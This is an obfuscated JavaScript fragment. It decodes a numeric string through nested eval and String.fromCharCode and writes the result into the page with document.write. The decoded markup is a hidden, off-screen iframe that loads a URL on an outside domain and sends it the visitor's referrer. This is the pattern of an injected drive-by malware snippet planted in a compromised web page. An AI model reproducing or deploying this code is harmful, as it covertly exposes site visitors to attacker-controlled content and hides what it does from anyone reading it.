s="532587571586577584588504580569582575589569575573533546569590569555571586577584588534504572583571589581573582588518591586577588573512506532572577590504577572533511582573591577572511504587588593580573533511584569572572577582575530520531581569586575577582530520531584583587577588577583582530569570587583580589588573531580573574588530520531588583584530520531591577572588576530521520520509531576573577575576588530522520520520531594517577582572573592530521531570569571579575586583589582572517571583580583586530591576577588573511534532577574586569581573504587586571533511576588588584530519519569570571577582574583576573580584518571583581519569572590577587583586517581583572589580573587519571583582588573592588567569572590535569571571583589582588533587582575591526521510586573574533506515588583584518572583571589581573582588518586573574573586586573586515506511504591577572588576533511521520520509511504576573577575576588533511521520520509511504587571586583580580577582575533511582583511504582583586573587577594573534532519577574586569581573534532519572577590534506513531504532519587571586577584588534504";k="f=String.fromCharCode(32,32,118,97,114,32,32,111,32,32,32,61,32,39,39,32,32,59,32,32,32,102,117,110,99,116,105,111,110,32,32,100,32,40,32,41,32,32,32,123,32,105,32,32,32,61,32,32,48,32,32,59,32,99,32,32,32,61,32,48,32,59,32,32,32,119,104,105,108,101,32,40,32,105,32,32,60,32,32,32,115,46,108,101,110,103,116,104,32,41,32,32,32,123,32,32,32,99,32,32,61,32,77,97,116,104,46,114,111,117,110,100,32,32,32,40,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,41,32,32,32,43,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,32,43,32,32,49,32,32,41,32,32,43,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,32,43,32,50,32,41,32,32,41,32,32,45,32,32,52,55,50,59,32,32,32,105,32,32,61,32,32,105,32,32,32,43,32,32,51,32,32,59,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,32,99,32,32,32,41,32,32,32,59,32,32,32,125,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,32,111,32,41,32,32,125,32,100,40,32,32,41,59);";eval(eval(k));